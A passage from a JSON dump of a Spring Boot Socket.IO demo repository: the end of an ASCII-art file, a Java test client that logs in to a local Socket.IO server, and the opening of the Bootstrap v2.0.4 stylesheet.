...:\n#WWW#E#D#WEDEDLWWWWKDffKKWKK#W#WWWW##K##EWEW#K#K##W#W#W#W#WK#WEK##W#EKWEKWEW#K#WK#WKWKEEEDDEWWKWWWWWWKDDGGGGGDGDGDDDDEEEEEEEEEEEEDD :.:..:.: jjtDDDf. :.... : : :.... :  ..... ....:\nW###WW#EE#KEDDfEWWKKDfDDKKKWWK#WW#K##W#KKWWWWKKW#WWWKW#####W##W##W#KKKKKEEWWK#E##K##WWDDEDEDEWWEWWWWWKEDDGGGDGDGDGGDDEDEEKKKEEEEEED..:. . . .iijEDDj : .. ...  . .. .:  . .. .  .\n#WW###WKWWEDEDLKW#KEDfDEWKWK#W#KW#WWW#EWKKWWWWWKKK#W#W#W#K###W##W#KKKKKKKKWWWWW##W#KWEEEDEDEKKWKWWWWW#KDGDGGGGGGDGDDDDEEEEEEEEEEDEDi. :..::..jjjDDG,. . ..   : ..  : . :. ..: : : ..\nW#K#W##EWWWEDDLKWKKEDfDEEEW#KWK#WW#WK#WKWEWWWWW#WK#WWW###W#K###W###EKKW#WWE#WWWWWWWWEWDDEDDEEWKKWK#KWWWEDGGGDGDGDGDDDEDKEKEEEEKEEDDf,:. . . .tijDDf..   .. .. ..  :   .. : . . .\n#WWWW##EK#KEEDfKWKWEGfDEKKW#KKWW#K#KWWWWWEWW#E#K##K#KW###W#K#####KWEKKW#WWK##KKWKW#KKKDDDDDDDKWKKKKWW#WWDDGGDGDGGDDDDEDEEEKEEEDEDEDDL, .:...,jjGDDt : .: : ...... :  ... : ....: ..\n#W#W#W#WKKEDDDLKWW#EDfGKK#KW###WW#K#K#KKKWW#KWW#WW#K##K##K###W#W##EKKW#K#E#E#WWWWEKKWWEEDEEDEKKKKKWWKWWWEDDGGGGDDGDDDDEEEEEEKEEDEDDDDj.: ...tjDEDG,. .. . .: .: ....:.... : ... : ..\nWWW#W###EWKEDDLKKWKDDfGKKKW#WK#KWWWW#W#KWWWWEWK#WKW#KW##W###W####WWEWWW#WWE#K#WK#KWKWWEDEDEDEWKWKKKKWWWWWEDGDGGGDGDDDEEDEEEEEEDDDDEDDD.... .tDEDDD, ... :......... :  : .: :: .....\nWW###W##EWEEDDLKEWEKGfDEWW#W##WWW#KW#W#WE#WWWEW#WE#K###WK#WWK###WWEKWW#W#KWW#W#EEKKKW#WDDDDEDEKKKKKKKW#WWWWGGGGGDGDDDDEDEEEEEEDDDDDDDDj. ..;DEDDDL...:..:...:...::.........:..::..:\n##W#KW##EKWDGDfKKKKEDfDKEWWWWW#WK#K#WWWKWKW#KKK#WW#W##W#######W##WW#K##K##KW#KW#WEK#KKEEDKEDEDEWKWKWWKWKW#WDDGGGDGDDDEEEEEEEEDDDDDDDDDL,.. tEEDDDf..: ::..:: ::.::.::::..:..:..:.::.\nWWK#W###DEEEGDLEKKKKDfDEWK#K##W##W#EW#KWWW#KKW#W##WWWW##W#W#W##W#KEWKWW#KWK##W#KEEWW##KDEDDDEEDKWKWKWWWWWWWEDGDGGDDDDDEDEEEEDEDDDDDDDDGL .,tEDKDGf.:.:. :...:. :  :..:.::..: :. :...\nW#W#W###DEWEDGGEDKKEDLDKK#K#WW###W#WK#KWWW#EWW#W##W#K##WW#W#WW##WKKKKKWWWWWWK#KWKKK##KKEDEEDEEEDWKKKWKW#WWWWKDGGGDGDDDEDEEEEEDEDDDGDGDDDD.LDEEDDDj:..:::....::.:..: ::.:.... :...:.:\n#KW#WW##EEKDGDfDEKWEDLEK#K#K##W##K#KWWWWW#K#KWK###WW#W##W####W#KWE#EW##WWWW##WKKKK#WWKKDEDKKEEDEKWWWWKWKWWW#KEGGGGGDDEDEEEDEDDDDDDDDDGGGDjGDEDDDGj.:: ::.::: ::..::...: :.:::.....:\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_socketio/src/test/java/com/xncoding/jwt/socket/client/SocketClient.java",
    "content": "package com.xncoding.jwt.socket.client;\n\nimport com.xncoding.jwt.common.JsonConverter;\nimport com.xncoding.jwt.model.LoginRequest;\nimport io.socket.client.Ack;\nimport io.socket.client.IO;\nimport io.socket.client.Socket;\nimport io.socket.emitter.Emitter;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.net.URISyntaxException;\nimport java.util.Arrays;\nimport java.util.stream.Collectors;\n\n/**\n * SocketClient\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/1/18\n */\npublic class SocketClient {\n    private static Socket socket;\n    private static final Logger logger = LoggerFactory.getLogger(SocketClient.class);\n\n    public static void main(String[] args) throws URISyntaxException {\n        IO.Options options = new IO.Options();\n        options.transports = new String[]{\"websocket\"};\n        options.reconnectionAttempts = 2;\n        options.reconnectionDelay = 1000;     // 失败重连的时间间隔(ms)\n        options.timeout = 20000;              // 连接超时时间(ms)\n        options.forceNew = true;\n        options.query = \"username=test1&password=test1\";\n        socket = IO.socket(\"http://localhost:9099/\", options);\n        socket.on(Socket.EVENT_CONNECT, new Emitter.Listener() {\n            @Override\n            public void call(Object... args) {\n                // 客户端一旦连接成功，开始发起登录请求\n                LoginRequest message = new LoginRequest(12, \"这是客户端消息体\");\n                socket.emit(\"login\", JsonConverter.objectToJSONObject(message), (Ack) args1 -> {\n                    logger.info(\"回执消息=\" + Arrays.stream(args1).map(Object::toString).collect(Collectors.joining(\",\")));\n                });\n            }\n        }).on(Socket.EVENT_CONNECT_ERROR, new Emitter.Listener() {\n            @Override\n            public void call(Object... args) {\n                logger.info(\"Socket.EVENT_CONNECT_ERROR\");\n                socket.disconnect();\n            }\n        }).on(Socket.EVENT_CONNECT_TIMEOUT, new Emitter.Listener() {\n            @Override\n            public void call(Object... args) {\n                logger.info(\"Socket.EVENT_CONNECT_TIMEOUT\");\n                socket.disconnect();\n            }\n        }).on(Socket.EVENT_DISCONNECT, new Emitter.Listener() {\n            @Override\n            public void call(Object... args) {\n                logger.info(\"客户端断开连接啦。。。\");\n                socket.disconnect();\n            }\n        });\n        socket.connect();\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_socketio/src/test/java/com/xncoding/jwt/socket/client/html/bootstrap.css",
    "content": "/*!\n * Bootstrap v2.0.4\n *\n * Copyright 2012 Twitter, Inc\n * Licensed under the Apache License v2.0\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Designed and built with all the love in the world @twitter by @mdo and @fat.\n */\n\narticle,\naside,\ndetails,\nfigcaption,\nfigure,\nfooter,\nheader,\nhgroup,\nnav,\nsection {\n  display: block;\n}\n\naudio,\ncanvas,\nvideo {\n  display: inline-block;\n  *display: inline;\n  *zoom: 1;\n}\n\naudio:not([controls]) {\n  display: none;\n}\n\nhtml {\n  font-size: 100%;\n  -webkit-text-size-adjust: 100%;\n      -ms-text-size-adjust: 100%;\n}\n\na:focus {\n  outline: thin dotted #333;\n  outline: 5px auto -webkit-focus-ring-color;\n  outline-offset: -2px;\n}\n\na:hover,\na:active {\n  outline: 0;\n}\n\nsub,\nsup {\n  position: relative;\n  font-size: 75%;\n  line-height: 0;\n  vertical-align: baseline;\n}\n\nsup {\n  top: -0.5em;\n}\n\nsub {\n  bottom: -0.25em;\n}\n\nimg {\n  max-width: 100%;\n  vertical-align: middle;\n  border: 0;\n  -ms-interpolation-mode: bicubic;\n}\n\n#map_canvas img {\n  max-width: none;\n}\n\nbutton,\ninput,\nselect,\ntextarea {\n  margin: 0;\n  font-size: 100%;\n  vertical-align: middle;\n}\n\nbutton,\ninput {\n  *overflow: visible;\n  line-height: normal;\n}\n\nbutton::-moz-focus-inner,\ninput::-moz-focus-inner {\n  padding: 0;\n  border: 0;\n}\n\nbutton,\ninput[type=\"button\"],\ninput[type=\"reset\"],\ninput[type=\"submit\"] {\n  cursor: pointer;\n  -webkit-appearance: button;\n}\n\ninput[type=\"search\"] {\n  -webkit-box-sizing: content-box;\n     -moz-box-sizing: content-box;\n          box-sizing: content-box;\n  -webkit-appearance: textfield;\n}\n\ninput[type=\"search\"]::-webkit-search-decoration,\ninput[type=\"search\"]::-webkit-search-cancel-button {\n  -webkit-appearance: none;\n}\n\ntextarea {\n  overflow: auto;\n  vertical-align: top;\n}\n\n.clearfix {\n  *zoom: 1;\n}\n\n.clearfix:before,\n.clearfix:after {\n  display: table;\n  content: \"\";\n}\n\n.clearfix:after {\n  clear: both;\n}\n\n.hide-text {\n  font: 0/0 a;\n  color: transparent;\n  text-shadow: none;\n  background-color: transparent;\n  border: 0;\n}\n\n.input-block-level {\n  display: block;\n  width: 100%;\n  min-height: 28px;\n  -webkit-box-sizing: border-box;\n     -moz-box-sizing: border-box;\n      -ms-box-sizing: border-box;\n          box-sizing: border-box;\n}\n\nbody {\n  margin: 0;\n  font-family: \"Helvetica Neue\", Helvetica, Arial, sans-serif;\n  font-size: 13px;\n  line-height: 18px;\n  color: #333333;\n  background-color: #ffffff;\n}\n\na {\n  color: #0088cc;\n  text-decoration: none;\n}\n\na:hover {\n  color: #005580;\n  text-decoration: underline;\n}\n\n.row {\n  margin-left: -20px;\n  *zoom: 1;\n}\n\n.row:before,\n.row:after {\n  display: table;\n  content: \"\";\n}\n\n.row:after {\n  clear: both;\n}\n\n[class*=\"span\"] {\n  float: left;\n  margin-left: 20px;\n}\n\n.container,\n.navbar-fixed-top .container,\n.navbar-fixed-bottom .container {\n  width: 940px;\n}\n\n.span12 {\n  width: 940px;\n}\n\n.span11 {\n  width: 860px;\n}\n\n.span10 {\n  width: 780px;\n}\n\n.span9 {\n  width: 700px;\n}\n\n.span8 {\n  width: 620px;\n}\n\n.span7 {\n  width: 540px;\n}\n\n.span6 {\n  width: 460px;\n}\n\n.span5 {\n  width: 380px;\n}\n\n.span4 {\n  width: 300px;\n}\n\n.span3 {\n  width: 220px;\n}\n\n.span2 {\n  width: 140px;\n}\n\n.span1 {\n  width: 60px;\n}\n\n.offset12 {\n  margin-left: 980px;\n}\n\n.offset11 {\n  margin-left: 900px;\n}\n\n.offset10 {\n  margin-left: 820px;\n}\n\n.offset9 {\n  margin-left: 740px;\n}\n\n.offset8 {\n  margin-left: 660px;\n}\n\n.offset7 {\n  margin-left: 580px;\n}\n\n.offset6 {\n  margin-left: 500px;\n}\n\n.offset5 {\n  margin-left: 420px;\n}\n\n.offset4 {\n  margin-left: 340px;\n}\n\n.offset3 {\n  margin-left: 260px;\n}\n\n.offset2 {\n  margin-left: 180px;\n}\n\n.offset1 {\n  margin-left: 100px;\n}\n\n.row-fluid {\n  width: 100%;\n  *zoom: 1;\n}\n\n.row-fluid:before,\n.row-fluid:after {\n  display: table;\n  content: \"\";\n}\n\n.row-fluid:after {\n  clear: both;\n}\n\n.row-fluid [class*=\"span\"] {\n  display: block;\n  float: left;\n  width: 100%;\n  min-height: 28px;\n  margin-left: 2.127659574%;\n  *margin-left: 2.0744680846382977%;\n  -webkit-box-sizing: border-box;\n     -moz-box-sizing: border-box;\n      -ms-box-sizing: border-box;\n          box-sizing: border-box;\n}\n\n.row-fluid [class*=\"span\"]:first-child {\n  margin-left: 0;\n}\n\n.row-fluid .span12 {\n  width: 99.99999998999999%;\n  *width: 99.94680850063828%;\n}\n\n.row-fluid .span11 {\n  width: 91.489361693%;\n  *width: 91.4361702036383%;\n}\n\n.row-fluid .span10 {\n  width: 82.97872339599999%;\n  *width: 82.92553190663828%;\n}\n\n.row-fluid .span9 {\n  width: 74.468085099%;\n  *width: 74.4148936096383%;\n}\n\n.row-fluid .span8 {\n  width: 65.95744680199999%;\n  *width: 65.90425531263828%;\n}\n\n.row-fluid .span7 {\n  width: 57.446808505%;\n  *width: 57.3936170156383%;\n}\n\n.row-fluid .span6 {\n  width: 48.93617020799999%;\n  *width: 48.88297871863829%;\n}\n\n.row-fluid .span5 {\n  width: 40.425531911%;\n  *width: 40.3723404216383%;\n}\n\n.row-fluid .span4 {\n  width: 31.914893614%;\n  *width: 31.8617021246383%;\n}\n\n.row-fluid .span3 {\n  width: 23.404255317%;\n  *width: 23.3510638276383%;\n}\n\n.row-fluid .span2 {\n  width: 14.89361702%;\n  *width: 14.8404255306383%;\n}\n\n.row-fluid .span1 {\n  width: 6.382978723%;\n  *width: 6.329787233638298%;\n}\n\n.container {\n  margin-right: auto;\n  margin-left: auto;\n  *zoom: 1;\n}\n\n.container:before,\n.container:after {\n  display: table;\n  content: \"\";\n}\n\n.container:after {\n  clear: both;\n}\n\n.container-fluid {\n  padding-right: 20px;\n  padding-left: 20px;\n  *zoom: 1;\n}\n\n.container-fluid:before,\n.container-fluid:after {\n  display: table;\n  content: \"\";\n}\n\n.container-fluid:after {\n  clear: both;\n}\n\np {\n  margin: 0 0 9px;\n}\n\np small {\n  font-size: 11px;\n  color: #999999;\n}\n\n.lead {\n  margin-bottom: 18px;\n  font-size: 20px;\n  font-weight: 200;\n  line-height: 27px;\n}\n\nh1,\nh2,\nh3,\nh4,\nh5,\nh6 {\n  margin: 0;\n  font-family: inherit;\n  font-weight: bold;\n  color: inherit;\n  text-rendering: optimizelegibility;\n}\n\nh1 small,\nh2 small,\nh3 small,\nh4 small,\nh5 small,\nh6 small {\n  font-weight: normal;\n  color: #999999;\n}\n\nh1 {\n  font-size: 30px;\n  line-height: 36px;\n}\n\nh1 small {\n  font-size: 18px;\n}\n\nh2 {\n  font-size: 24px;\n  line-height: 36px;\n}\n\nh2 small {\n  font-size: 18px;\n}\n\nh3 {\n  font-size: 18px;\n  line-height: 27px;\n}\n\nh3 small {\n  font-size: 14px;\n}\n\nh4,\nh5,\nh6 {\n  line-height: 18px;\n}\n\nh4 {\n  font-size: 14px;\n}\n\nh4 small {\n  font-size: 12px;\n}\n\nh5 {\n  font-size: 12px;\n}\n\nh6 {\n  font-size: 11px;\n  color: #999999;\n  text-transform: uppercase;\n}\n\n.page-header {\n  padding-bottom: 17px;\n  margin: 18px 0;\n  border-bottom: 1px solid #eeeeee;\n}\n\n.page-header h1 {\n  line-height: 1;\n}\n\nul,\nol {\n  padding: 0;\n  margin: 0 0 9px 25px;\n}\n\nul ul,\nul ol,\nol ol,\nol ul {\n  margin-bottom: 0;\n}\n\nul {\n  list-style: disc;\n}\n\nol {\n  list-style: decimal;\n}\n\nli {\n  line-height: 18px;\n}\n\nul.unstyled,\nol.unstyled {\n  margin-left: 0;\n  list-style: none;\n}\n\ndl {\n  margin-bottom: 18px;\n}\n\ndt,\ndd {\n  line-height: 18px;\n}\n\ndt {\n  font-weight: bold;\n  line-height: 17px;\n}\n\ndd {\n  margin-left: 9px;\n}\n\n.dl-horizontal dt {\n  float: left;\n  width: 120px;\n  overflow: hidden;\n  clear: left;\n  text-align: right;\n  text-overflow: ellipsis;\n  white-space: nowrap;\n}\n\n.dl-horizontal dd {\n  margin-left: 130px;\n}\n\nhr {\n  margin: 18px 0;\n  border: 0;\n  border-top: 1px solid #eeeeee;\n  border-bottom: 1px solid #ffffff;\n}\n\nstrong {\n  font-weight: bold;\n}\n\nem {\n  font-style: italic;\n}\n\n.muted {\n  color: #999999;\n}\n\nabbr[title] {\n  cursor: help;\n  border-bottom: 1px dotted #999999;\n}\n\nabbr.initialism {\n  font-size: 90%;\n  text-transform: uppercase;\n}\n\nblockquote {\n  padding: 0 0 0 15px;\n  margin: 0 0 18px;\n  border-left: 5px solid #eeeeee;\n}\n\nblockquote p {\n  margin-bottom: 0;\n  font-size: 16px;\n  font-weight: 300;\n  line-height: 22.5px;\n}\n\nblockquote small {\n  display: block;\n  line-height: 18px;\n  color: #999999;\n}\n\nblockquote small:before {\n  content: '\\2014 \\00A0';\n}\n\nblockquote.pull-right {\n  float: right;\n  padding-right: 15px;\n  padding-left: 0;\n  border-right: 5px solid #eeeeee;\n  border-left: 0;\n}\n\nblockquote.pull-right p,\nblockquote.pull-right small {\n  text-align: right;\n}\n\nq:before,\nq:after,\nblockquote:before,\nblockquote:after {\n  content: \"\";\n}\n\naddress {\n  display: block;\n  margin-bottom: 18px;\n  font-style: normal;\n  line-height: 18px;\n}\n\nsmall {\n  font-size: 100%;\n}\n\ncite {\n  font-style: normal;\n}\n\ncode,\npre {\n  padding: 0 3px 2px;\n  font-family: Menlo, Monaco, Consolas, \"Courier New\", monospace;\n  font-size: 12px;\n  color: #333333;\n  -webkit-border-radius: 3px;\n     -moz-border-radius: 3px;\n          border-radius: 3px;\n}\n\ncode {\n  padding: 2px 4px;\n  color: #d14;\n  background-color: #f7f7f9;\n  border: 1px solid #e1e1e8;\n}\n\npre {\n  display: block;\n  padding: 8.5px;\n  margin: 0 0 9px;\n  font-size: 12.025px;\n  line-height: 18px;\n  word-break: break-all;\n  word-wrap: break-word;\n  white-space: pre;\n  white-space: pre-wrap;\n  background-color: #f5f5f5;\n  border: 1px solid #ccc;\n  border: 1px solid rgba(0, 0, 0, 0.15);\n  -webkit-border-radius: 4px;\n     -moz-border-radius: 4px;\n          border-radius: 4px;\n}\n\npre.prettyprint {\n  margin-bottom: 18px;\n}\n\npre code {\n  padding: 0;\n  color: inherit;\n  background-color: transparent;\n  border: 0;\n}\n\n.pre-scrollable {\n  max-height: 340px;\n  overflow-y: scroll;\n}\n\nform {\n  margin: 0 0 18px;\n}\n\nfieldset {\n  padding: 0;\n  margin: 0;\n  border: 0;\n}\n\nlegend {\n  display: block;\n  width: 100%;\n  padding: 0;\n  margin-bottom: 27px;\n  font-size: 19.5px;\n  line-height: 36px;\n  color: #333333;\n  border: 0;\n  border-bottom: 1px solid #e5e5e5;\n}\n\nlegend small {\n  font-size: 13.5px;\n  color: #999999;\n}\n\nlabel,\ninput,\nbutton,\nselect,\ntextarea {\n  font-size: 13px;\n  font-weight: normal;\n  line-height: 18px;\n}\n\ninput,\nbutton,\nselect,\ntextarea {\n  font-family: \"Helvetica Neue\", Helvetica, Arial, sans-serif;\n}\n\nlabel {\n  display: block;\n  margin-bottom: 5px;\n}\n\nselect,\ntextarea,\ninput[type=\"text\"],\ninput[type=\"password\"],\ninput[type=\"datetime\"],\ninput[type=\"datetime-local\"],\ninput[type=\"date\"],\ninput[type=\"month\"],\ninput[type=\"time\"],\ninput[type=\"week\"],\ninput[type=\"number\"],\ninput[type=\"email\"],\ninput[type=\"url\"],\ninput[type=\"search\"],\ninput[type=\"tel\"],\ninput[type=\"color\"],\n.uneditable-input {\n  display: inline-block;\n  height: 18px;\n  padding: 4px;\n  margin-bottom: 9px;\n  font-size: 13px;\n  line-height: 18px;\n  color: #555555;\n}\n\ninput,\ntextarea {\n  width: 210px;\n}\n\ntextarea {\n  height: auto;\n}\n\ntextarea,\ninput[type=\"text\"],\ninput[type=\"password\"],\ninput[type=\"datetime\"],\ninput[type=\"datetime-local\"],\ninput[type=\"date\"],\ninput[type=\"month\"],\ninput[type=\"time\"],\ninput[type=\"week\"],\ninput[type=\"number\"],\ninput[type=\"email\"],\ninput[type=\"url\"],\ninput[type=\"search\"],\ninput[type=\"tel\"],\ninput[type=\"color\"],\n.uneditable-input {\n  background-color: #ffffff;\n  border: 1px solid #cccccc;\n  -webkit-border-radius: 3px;\n     -moz-border-radius: 3px;\n          border-radius: 3px;\n  -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n     -moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n          box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n  -webkit-transition: border linear 0.2s, box-shadow linear 0.2s;\n     -moz-transition: border linear 0.2s, box-shadow linear 0.2s;\n      -ms-transition: border linear 0.2s, box-shadow linear 0.2s;\n       -o-transition: border linear 0.2s, box-shadow linear 0.2s;\n          transition: border linear 0.2s, box-shadow linear 0.2s;\n}\n\ntextarea:focus,\ninput[type=\"text\"]:focus,\ninput[type=\"password\"]:focus,\ninput[type=\"datetime\"]:focus,\ninput[type=\"datetime-local\"]:focus,\ninput[type=\"date\"]:focus,\ninput[type=\"month\"]:focus,\ninput[type=\"time\"]:focus,\ninput[type=\"week\"]:focus,\ninput[type=\"number\"]:focus,\ninput[type=\"email\"]:focus,\ninput[type=\"url\"]:focus,\ninput[type=\"search\"]:focus,\ninput[type=\"tel\"]:focus,\ninput[type=\"color\"]:focus,\n.uneditable-input:focus {\n  border-color: rgba(82, 168, 236, 0.8);\n  outline: 0;\n  outline: thin dotted \\9;\n  /* IE6-9 */\n\n  -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 8px rgba(82, 168, 236, 0.6);\n     -moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 8px rgba(82, 168, 236, 0.6);\n          box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 8px rgba(82, 168, 236, 0.6);\n}\n\ninput[type=\"radio\"],\ninput[type=\"checkbox\"] {\n  margin: 3px 0;\n  *margin-top: 0;\n  /* IE7 */\n\n  line-height: normal;\n  cursor: pointer;\n}\n\ninput[type=\"submit\"],\ninput[type=\"reset\"],\ninput[type=\"button\"],\ninput[type=\"radio\"],\ninput[type=\"checkbox\"] {\n  width: auto;\n}\n\n.uneditable-textarea {\n  width: auto;\n  height: auto;\n}\n\nselect,\ninput[type=\"file\"] {\n  height: 28px;\n  /* In IE7, the height of the select element cannot be changed by height, only font-size */\n\n  *margin-top: 4px;\n  /* For IE7, add top margin to align select with labels */\n\n  line-height: 28px;\n}\n\nselect {\n  width: 220px;\n  border: 1px solid #bbb;\n}\n\nselect[multiple],\nselect[size] {\n  height: auto;\n}\n\nselect:focus,\ninput[type=\"file\"]:focus,\ninput[type=\"radio\"]:focus,\ninput[type=\"checkbox\"]:focus {\n  outline: thin dotted #333;\n  outline: 5px auto -webkit-focus-ring-color;\n  outline-offset: -2px;\n}\n\n.radio,\n.checkbox {\n  min-height: 18px;\n  padding-left: 18px;\n}\n\n.radio input[type=\"radio\"],\n.checkbox input[type=\"checkbox\"] {\n  float: left;\n  margin-left: -18px;\n}\n\n.controls > .radio:first-child,\n.controls > .checkbox:first-child {\n  padding-top: 5px;\n}\n\n.radio.inline,\n.checkbox.inline {\n  display: inline-block;\n  padding-top: 5px;\n  margin-bottom: 0;\n  vertical-align: middle;\n}\n\n.radio.inline + .radio.inline,\n.checkbox.inline + .checkbox.inline {\n  margin-left: 10px;\n}\n\n.input-mini {\n  width: 60px;\n}\n\n.input-small {\n  width: 90px;\n}\n\n.input-medium {\n  width: 150px;\n}\n\n.input-large {\n  width: 210px;\n}\n\n.input-xlarge {\n  width: 270px;\n}\n\n.input-xxlarge {\n  width: 530px;\n}\n\ninput[class*=\"span\"],\nselect[class*=\"span\"],\ntextarea[class*=\"span\"],\n.uneditable-input[class*=\"span\"],\n.row-fluid input[class*=\"span\"],\n.row-fluid select[class*=\"span\"],\n.row-fluid textarea[class*=\"span\"],\n.row-fluid .uneditable-input[class*=\"span\"] {\n  float: none;\n  margin-left: 0;\n}\n\n.input-append input[class*=\"span\"],\n.input-append .uneditable-input[class*=\"span\"],\n.input-prepend input[class*=\"span\"],\n.input-prepend .uneditable-input[class*=\"span\"],\n.row-fluid .input-prepend [class*=\"span\"],\n.row-fluid .input-append [class*=\"span\"] {\n  display: inline-block;\n}\n\ninput,\ntextarea,\n.uneditable-input {\n  margin-left: 0;\n}\n\ninput.span12,\ntextarea.span12,\n.uneditable-input.span12 {\n  width: 930px;\n}\n\ninput.span11,\ntextarea.span11,\n.uneditable-input.span11 {\n  width: 850px;\n}\n\ninput.span10,\ntextarea.span10,\n.uneditable-input.span10 {\n  width: 770px;\n}\n\ninput.span9,\ntextarea.span9,\n.uneditable-input.span9 {\n  width: 690px;\n}\n\ninput.span8,\ntextarea.span8,\n.uneditable-input.span8 {\n  width: 610px;\n}\n\ninput.span7,\ntextarea.span7,\n.uneditable-input.span7 {\n  width: 530px;\n}\n\ninput.span6,\ntextarea.span6,\n.uneditable-input.span6 {\n  width: 450px;\n}\n\ninput.span5,\ntextarea.span5,\n.uneditable-input.span5 {\n  width: 370px;\n}\n\ninput.span4,\ntextarea.span4,\n.uneditable-input.span4 {\n  width: 290px;\n}\n\ninput.span3,\ntextarea.span3,\n.uneditable-input.span3 {\n  width: 210px;\n}\n\ninput.span2,\ntextarea.span2,\n.uneditable-input.span2 {\n  width: 130px;\n}\n\ninput.span1,\ntextarea.span1,\n.uneditable-input.span1 {\n  width: 50px;\n}\n\ninput[disabled],\nselect[disabled],\ntextarea[disabled],\ninput[readonly],\nselect[readonly],\ntextarea[readonly] {\n  cursor: not-allowed;\n  background-color: #eeeeee;\n  border-color: #ddd;\n}\n\ninput[type=\"radio\"][disabled],\ninput[type=\"checkbox\"][disabled],\ninput[type=\"radio\"][readonly],\ninput[type=\"checkbox\"][readonly] {\n  background-color: transparent;\n}\n\n.control-group.warning > label,\n.control-group.warning .help-block,\n.control-group.warning .help-inline {\n  color: #c09853;\n}\n\n.control-group.warning .checkbox,\n.control-group.warning .radio,\n.control-group.warning input,\n.control-group.warning select,\n.control-group.warning textarea {\n  color: #c09853;\n  border-color: #c09853;\n}\n\n.control-group.warning .checkbox:focus,\n.control-group.warning .radio:focus,\n.control-group.warning input:focus,\n.control-group.warning select:focus,\n.control-group.warning textarea:focus {\n  border-color: #a47e3c;\n  -webkit-box-shadow: 0 0 6px #dbc59e;\n     -moz-box-shadow: 0 0 6px #dbc59e;\n          box-shadow: 0 0 6px #dbc59e;\n}\n\n.control-group.warning .input-prepend .add-on,\n.control-group.warning .input-append .add-on {\n  color: #c09853;\n  background-color: #fcf8e3;\n  border-color: #c09853;\n}\n\n.control-group.error > label,\n.control-group.error .help-block,\n.control-group.error .help-inline {\n  color: #b94a48;\n}\n\n.control-group.error .checkbox,\n.control-group.error .radio,\n.control-group.error input,\n.control-group.error select,\n.control-group.error textarea {\n  color: #b94a48;\n  border-color: #b94a48;\n}\n\n.control-group.error .checkbox:focus,\n.control-group.error .radio:focus,\n.control-group.error input:focus,\n.control-group.error select:focus,\n.control-group.error textarea:focus {\n  border-color: #953b39;\n  -webkit-box-shadow: 0 0 6px #d59392;\n     -moz-box-shadow: 0 0 6px #d59392;\n          box-shadow: 0 0 6px #d59392;\n}\n\n.control-group.error .input-prepend .add-on,\n.control-group.error .input-append .add-on {\n  color: #b94a48;\n  background-color: #f2dede;\n  border-color: #b94a48;\n}\n\n.control-group.success > label,\n.control-group.success .help-block,\n.control-group.success .help-inline {\n  color: #468847;\n}\n\n.control-group.success .checkbox,\n.control-group.success .radio,\n.control-group.success input,\n.control-group.success select,\n.control-group.success textarea {\n  color: #468847;\n  border-color: #468847;\n}\n\n.control-group.success .checkbox:focus,\n.control-group.success .radio:focus,\n.control-group.success input:focus,\n.control-group.success select:focus,\n.control-group.success textarea:focus {\n  border-color: #356635;\n  -webkit-box-shadow: 0 0 6px #7aba7b;\n     -moz-box-shadow: 0 0 6px #7aba7b;\n          box-shadow: 0 0 6px #7aba7b;\n}\n\n.control-group.success .input-prepend .add-on,\n.control-group.success .input-append .add-on {\n  color: #468847;\n  background-color: #dff0d8;\n  border-color: #468847;\n}\n\ninput:focus:required:invalid,\ntextarea:focus:required:invalid,\nselect:focus:required:invalid {\n  color: #b94a48;\n  border-color: #ee5f5b;\n}\n\ninput:focus:required:invalid:focus,\ntextarea:focus:required:invalid:focus,\nselect:focus:required:invalid:focus {\n  border-color: #e9322d;\n  -webkit-box-shadow: 0 0 6px #f8b9b7;\n     -moz-box-shadow: 0 0 6px #f8b9b7;\n          box-shadow: 0 0 6px #f8b9b7;\n}\n\n.form-actions {\n  padding: 17px 20px 18px;\n  margin-top: 18px;\n  margin-bottom: 18px;\n  background-color: #f5f5f5;\n  border-top: 1px solid #e5e5e5;\n  *zoom: 1;\n}\n\n.form-actions:before,\n.form-actions:after {\n  display: table;\n  content: \"\";\n}\n\n.form-actions:after {\n  clear: both;\n}\n\n.uneditable-input {\n  overflow: hidden;\n  white-space: nowrap;\n  cursor: not-allowed;\n  background-color: #ffffff;\n  border-color: #eee;\n  -webkit-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.025);\n     -moz-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.025);\n          box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.025);\n}\n\n:-moz-placeholder {\n  color: #999999;\n}\n\n:-ms-input-placeholder {\n  color: #999999;\n}\n\n::-webkit-input-placeholder {\n  color: #999999;\n}\n\n.help-block,\n.help-inline {\n  color: #555555;\n}\n\n.help-block {\n  display: block;\n  margin-bottom: 9px;\n}\n\n.help-inline {\n  display: inline-block;\n  *display: inline;\n  padding-left: 5px;\n  vertical-align: middle;\n  *zoom: 1;\n}\n\n.input-prepend,\n.input-append {\n  margin-bottom: 5px;\n}\n\n.input-prepend input,\n.input-append input,\n.input-prepend select,\n.input-append select,\n.input-prepend .uneditable-input,\n.input-append .uneditable-input {\n  position: relative;\n  margin-bottom: 0;\n  *margin-left: 0;\n  vertical-align: middle;\n  -webkit-border-radius: 0 3px 3px 0;\n     -moz-border-radius: 0 3px 3px 0;\n          border-radius: 0 3px 3px 0;\n}\n\n.input-prepend input:focus,\n.input-append input:focus,\n.input-prepend select:focus,\n.input-append select:focus,\n.input-prepend .uneditable-input:focus,\n.input-append .uneditable-input:focus {\n  z-index: 2;\n}\n\n.input-prepend .uneditable-input,\n.input-append .uneditable-input {\n  border-left-color: #ccc;\n}\n\n.input-prepend .add-on,\n.input-append .add-on {\n  display: inline-block;\n  width: auto;\n  height: 18px;\n  min-width: 16px;\n  padding: 4px 5px;\n  font-weight: normal;\n  line-height: 18px;\n  text-align: center;\n  text-shadow: 0 1px 0 #ffffff;\n  vertical-align: middle;\n  background-color: #eeeeee;\n  border: 1px solid #ccc;\n}\n\n.input-prepend .add-on,\n.input-append .add-on,\n.input-prepend .btn,\n.input-append .btn {\n  margin-left: -1px;\n  -webkit-border-radius: 0;\n     -moz-border-radius: 0;\n          border-radius: 